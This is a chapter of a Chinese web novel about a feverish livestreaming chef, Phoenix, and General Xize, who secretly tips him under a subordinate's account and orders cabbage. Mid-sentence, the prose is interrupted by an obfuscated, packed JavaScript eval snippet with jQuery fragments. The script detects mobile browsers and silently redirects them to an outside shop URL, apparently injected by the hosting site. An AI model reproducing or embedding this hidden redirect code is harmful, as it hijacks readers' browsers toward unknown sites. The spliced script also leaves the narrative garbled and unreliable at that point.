第二天,菲尼克斯依旧没退烧,尽管亚特修不住地劝说,他还是拒绝休息要开直播。
“亚特修,你都几天没去上班了,这样可不行啊。”菲尼克斯清点着冰箱里的食物,脸都烧得绯红,还有心思对一脸焦灼的亚特修开玩笑,声音也是哑的。
亚特修抿紧了嘴,他话都说干了,这只雄虫却还是异常地固执,不肯休息,也不吃药。
“亚特修。”菲尼克斯有些无奈,“我还能不清楚自己的身体吗,别担心了。”
“我给您五百万星币。”亚特修开口。
“什么?”
“我大概估算了您每天直播的收入,五百万星币一定够了,我给您五百万星币,您今天休息,行吗?”
亚特修能敏锐地观察到,菲尼克斯需要钱,需要很多钱。
菲尼克斯敛住笑,亚特修的眼神满是固执不肯退让,相顾无言。
菲尼克斯把冰箱门关上,向厨房走去,经过亚特修身边时拍了拍他的肩膀,在厨房里打开了直播。
他在星际网的收入很不错,即使没有开播,也会有虫源源不断地刷小红花进入直播间,或看回放,或骂骂咧咧地提前等着他。
加上各种有附言功能的礼物,一天就能进账几百万星币。
账户里不断累积的金钱是他现在唯一的底气,可是还不够。
如果真有奇迹发生,让他匹配到高等级的雌虫完成手术,先不说许诺那只未知雌虫的金钱赔偿,就是他自己后续长时间的休养所要花费的,也不是小数目。
获取金钱对菲尼克斯来说轻而易举,身体的衰弱才让人无处下手。
每一天的精力仿佛在睁眼那一刻就消耗殆尽,如果可以,菲尼克斯连呼吸那点力气都想积攒下来。
开播即上话题榜首,视频里讨厌的雄虫博主一身长袖白衬衫,配套黑色顺滑的西装长裤,面色红润,背靠在料理台上笑。
菲尼克斯五官立体,其中又莫名掺杂了一股柔和的劲头,就站在那儿笑着不说话,其实看着很舒服。
对着这样一张笑脸,阴阳怪气的弹幕一时都比平时少了些。
“大家今天这么早就来蹲我了,让我看看,数量都破快千万了。”
“今天我们来玩点新鲜的。”菲尼克斯说着,把早就做好的一张菜单发送到直播间页面,同时五个链接也出现,每份明码标价十万星币。
“只要下单的,您说想吃什么,我就当场给您做什么,做好就立马邮寄给您。”
十万星币,有的虫一辈子都挣不到这么多钱,菲尼克斯大言不惭,一道菜就要十万星币。
菜单上也是五花八门,虽然全是肉类,但都是虫星没见过的古怪做法。
不出意外,菲尼克斯又被弹幕猛地冲了一波,那些夹杂着问候他祖宗的话语,表达的意思大差不差。
说他想钱想疯了。
拖尾特效也还是源源不断,不过菲尼克斯只是看着,嘶哑疼痛的喉咙不允许他再不停地说话。
视线忽然被其中一条吸引住。
【垃圾雄虫,昨天卖我的什么狗屁红烧肉,倒进马桶我都嫌恶心,大家看我主页有视频。】
菲尼克斯平静地点进他的主页,看得出是个新号,才注册几天,主页有个一分多钟的视频。
暴力撕开包装的红烧肉还在冒着热气儿,被一只手掌拖着,尽数倒进马桶里,镜头外的声音一刻不停地骂着。
红烧肉摊在不那么干净的马桶里,菲尼克斯自己看着都觉得有些恶心。
返回自己的直播间,所有弹幕一瞬间又都消失了,这次是真的一条不剩。
直播间里虫的数量还是那么多,弹幕功能也开着,菲尼克斯反复查看后台摸不着头脑。
正以为是哪里出故障的时候,一道绚丽的礼物通报特效滑过。
【里尔将军在菲尼克斯直播间送出五十个豪华大礼包,请主播继续加油哦~】
送完礼物,里尔又预付了十万星币下单。
菲尼克斯早就做好了无一虫下单的准备,一万一份的红烧肉已经是顶了天,他不信虫星有钱的会傻成那样。
十万星币买一道菜,哪儿去找这样的傻子,他不过是以此博眼球多赚些流量。
没想到冤大头还真出现了。
“不愧是里尔将军,豪气,将军想吃什么,我这就给你做。”菲尼克斯还是懒洋洋地靠着,毕竟有钱不赚是傻子。
帝都军团大厦办公室内,里尔站在办公桌前,亲眼看见他们将军,拿着他的光脑,用他的钱,给菲尼克斯不停打赏。
不是,虽然他是不缺钱,但这一送就是五十个大礼包,五十万星币,菲尼克斯赚一半,剩下一半最终也会回到西泽将军口袋里。
吃亏的就他一只虫,还敢怒不敢言。
那天在地下训练室,里尔被打红眼,一时不过脑子说的那些大逆不道的话,几乎是说完就后悔了。
西泽那时的眼神也确实可怕,将军最厌恶的不过雄虫和欺骗,里尔两样占全。
本以为真得丢掉小命,但西泽只是静默片刻独自离开,过后对他态度依旧。
唯一的变化,将军现在每天都要跟他在训练室对打,力度也丝毫没有因为知道他是雄虫而改变。
虽然总是挨打,但里尔提起的心总算放下一些。
送就送吧,反正将军后面会把钱赔给他的。
“里尔将军要吃什么?”菲尼克斯重复询问的声音又透过光脑传出,在安静的办公室回荡。
西泽盯着屏幕里那只雄虫,隐藏在面具下的虫纹像有生命一样蠢蠢欲动,他陷入了二十几年来最大的困惑纠结中,上一次面对面见到菲尼克斯已经是二十几天以前。
不过才二十几天,身体和脑子都在发疯地想念,那是一种不受控制的感觉。
“菲尼克斯”三个字像毒药一样印刻在心里,尽管别的虫看不出异常,但西泽自己清楚,他脑海里没有一刻不在想那只雄虫。
强制压制根本不管用,反而会让身体做出更激烈的反抗,神经开始时不时抽疼,卷土重来的僵化期症状也更严重。
身体先于思维,做出让西泽自己都费解的事情。
比如点进菲尼克斯的直播间,下单他曾经吃过无数次的菜品,被拒绝拉黑后掺杂不知名情绪的恼羞成怒,以及用最高特权将菲尼克斯直播间的弹幕全部关闭,一眼都不想看见那些阴阳怪气的评论.......
都是因为该死的绝对匹配和完全标记。
因为久久没有回应,菲尼克斯又耐心地询问了一遍。
西泽将光脑“啪”的一声闭合,直播间忽然传出一阵东西摔落的噼里啪啦声,西泽又飞快地打开屏幕。
里尔见怪不怪,他算是看明白了,将军遇到菲尼克斯,总会做出些莫名其妙的事情。
就像昨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437477|141489||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
天,从贫民区加急送来的外卖他还一口没吃上,就被将军叫去打了一场,等回来,还没收了他的红烧肉。
直播镜头里只有碰翻的锅和调料盒,菲尼克斯已经不见了踪影。
背景声里有另一只虫慌乱的惊呼。
“菲尼克斯雄子,您没事吧?!”
西泽五感敏锐,对声音和画面都有过目不忘的本事,这声音,是那只断翅雌虫,菲尼克斯现在居然跟那只雌虫住在一起。
菲尼克斯实在没忍住那股恶心劲儿,连直播都来不及关,跑到厕所把刚吃的早饭吐了个干净。
毕竟刚收了十来万的星币和几十万的礼物,示意亚特修自己没事后,菲尼克斯简单收拾一番重新回到镜头前。
身上一阵阵发冷,后腰异常酸软,仿佛骨头要断了,“里尔将军,你再不说要吃什么,我可就走了。”
【你在发烧,去休息。】
强撑的笑意凝固在嘴角,菲尼克斯看向榜一上那个亮闪闪的至尊账号,“那怎么行,将军付了钱的。”
【去休息。】
“去休息?”菲尼克斯重复一遍,“我这才开播可休息不了,将军不吃就别来砸我招牌,钱马上退给你。”
【我想吃炝炒白菜。】
镜头两头都是沉默。
炝炒白菜,他菲尼克斯穿到这个世界吃的第一顿像样的食物。
在哪吃的,和谁一起吃的?回忆到菲尼克斯都恍然,时间过得那么快,原来那都是一年多前的事情。
虫族天生就不爱吃素食,直播间的菜单里自然也没有。
良久,菲尼克斯直起身,将预定的十万链接退单,重新创建了一个一千万的,一排下来好多个零。
“不好意思,我改主意了,清炒白菜一千万一份。”菲尼克斯话都没说完,那条链接就已经被下单。
菲尼克斯靠着料理台,眉眼垂着看向地面,扯着嘴角笑了两声。
他的能想象到,这一千万一份的清炒白菜,能把直播间那些被禁言的网民震撼到何种程度。
一碟子畜生都不吃的菜叶,能让将军花那么多钱下单,真有意思,也是真没意思。
“西泽,别再来恶心我了。”说着,菲尼克斯把所有礼物,包括预付的一千万尽数退回原账号,把里尔的账号拉黑,关了直播。
被强制禁言的网民们仿佛吃到大瓜,虽然不知道菲尼克斯说的是不是真的,但都纷纷另起话题楼开展火热的讨论,虽然讨论帖出现几分钟就会惨遭删除。
关了直播,菲尼克斯一句话没说,回到房间反锁了门。
身体和精神的双重疲惫让他眼皮沉重不堪,菲尼克斯窝在床上不想再动一根手指头。
视线范围内,床头柜上的倒计立牌上显示着65的数字,就65天,菲尼克斯告诉自己,无论如何,就再拼六十五天。
昏昏沉沉间,光脑响起来电提醒,烦躁的铃声响个没完,菲尼克斯伸手,正准备把这破机子扔出去,却在看见雌雄匹配局几个字顿住。
没过多久,西泽办公室内。
飞行器已准备好,西泽在出发的前一秒,收到了雌雄匹配局局长的光脑邮件。
信中仔细报备了菲尼克斯提交的申请,还提到已经为菲尼克斯雄子匹配到94%契合度的雌虫,并约定好明天在帝都会面深谈。
西泽反复看那几行字,手里的光脑屏幕都被碾得碎裂开来。